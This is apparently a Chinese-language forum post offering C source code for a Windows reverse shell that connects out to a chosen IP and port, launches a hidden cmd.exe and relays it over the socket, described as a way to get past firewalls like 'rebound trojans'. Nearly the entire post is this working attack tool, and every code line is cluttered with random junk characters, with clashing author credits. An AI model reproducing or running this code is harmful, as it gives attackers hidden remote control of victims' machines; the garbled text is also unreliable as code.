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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 F:g=i}7  
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/* ============================== uh3) 0.nR  
Rebound port in Windows NT xBM>u,0.F  
By wind,2006/7 `'4)q}bB  
===============================*/ = [@)R!3H  
#include :nJgwp()@  
#include ?vtX"Fdz  
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#pragma comment(lib,"wsock32.lib") smy}3k  
v;2CU  
void OutputShell(); 4{na+M  
SOCKET sClient; k2^a$k}  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .qD@ Y3-  
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void main(int argc,char **argv) ig#r4nQ=  
{ O l@_(U  
WSADATA stWsaData; E5GJi  
int nRet; vZAv_8S)  
SOCKADDR_IN stSaiClient,stSaiServer; O[q\e<V<  
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if(argc != 3) 't (O$  
{ kuMKX`_  
printf("Useage:\n\rRebound DestIP DestPort\n"); /f{$I  
return; U.oksD9 v  
} _t>"5s&i  
)}lRd#V  
WSAStartup(MAKEWORD(2,2),&stWsaData); _^S]gmE  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v ! hY  
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stSaiClient.sin_family = AF_INET; OM83S|1s  
stSaiClient.sin_port = htons(0); _ -..~K.|  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9";sMB}W*  
#2p#VQh  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) lFG9=Wf  
{ fb]S-z(  
printf("Bind Socket Failed!\n"); tjnPyaJEl  
return; Z*! O:/B  
} Kx`/\u=/  
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stSaiServer.sin_family = AF_INET; Pcd *">v  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0~WF{_0|  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); J5p8nmb  
&l2TeC@;  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) '?5j[:QY@  
{ -apXI.  
printf("Connect Error!"); tD=@SX'Y  
return; L=!of{4Z(}  
} z%d#@w0X1  
OutputShell(); 3z =^(Y  
} v4vf }.L]  
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void OutputShell() @_ygnNn4R  
{ udk.zk  
char szBuff[1024]; :<S<f%  
SECURITY_ATTRIBUTES stSecurityAttributes; tNaL;0#Tx  
OSVERSIONINFO stOsversionInfo; G-um`/<%  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; v syWm.E  
STARTUPINFO stStartupInfo; np$ zo  
char *szShell; #=c`of6  
PROCESS_INFORMATION stProcessInformation; ^q[gxuL_  
unsigned long lBytesRead; `FF8ie8L  
PD[z#T!'  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,^s0</v e  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;@mRo`D`  
stSecurityAttributes.lpSecurityDescriptor = 0; .8gl< vX  
stSecurityAttributes.bInheritHandle = TRUE; zd %rs~*c  
fC-P.:F#I  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); "9y( }  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Kyg=$^{>G  
&p(0K4:  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); VRng=,  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =6 r:A<F!n  
stStartupInfo.wShowWindow = SW_HIDE; >7Jr^o#|_x  
stStartupInfo.hStdInput = hReadPipe; EM j;2!  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Fzq41jiS  
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GetVersionEx(&stOsversionInfo); L1m{]>{-  
#E7AmmqD%  
switch(stOsversionInfo.dwPlatformId) =Ufr^naA  
{ Bn?V9TEoO  
case 1: zU5Hb2a  
szShell = "command.com"; u eb-2[=  
break; CON0E~"  
default: 0$.m_0H  
szShell = "cmd.exe"; I s57F4[}  
break; IND]j72  
} i&Fiq&V)[  
9]'&RyH=#  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {jKI^aC<[  
V\5 L?}  
send(sClient,szMsg,77,0); R=j% S!  
while(1) M" lg%j  
{ 3.Gj4/f  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); v}JD2.O+  
if(lBytesRead) _D7]-3uC!  
{ m#e3%150{  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); {D&9UZm  
send(sClient,szBuff,lBytesRead,0);  UL@9W6  
} !c#]?b%  
else V7Yaks  
{ kJ:F *34e=  
lBytesRead=recv(sClient,szBuff,1024,0); ;QCrHqRT`  
if(lBytesRead<=0) break; _banp0ywS  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); W;6vpPhg#!  
} c:!zO\P#  
} "`Ge~N[$A  
/'.=sH  
return;  :nY 2O  
}
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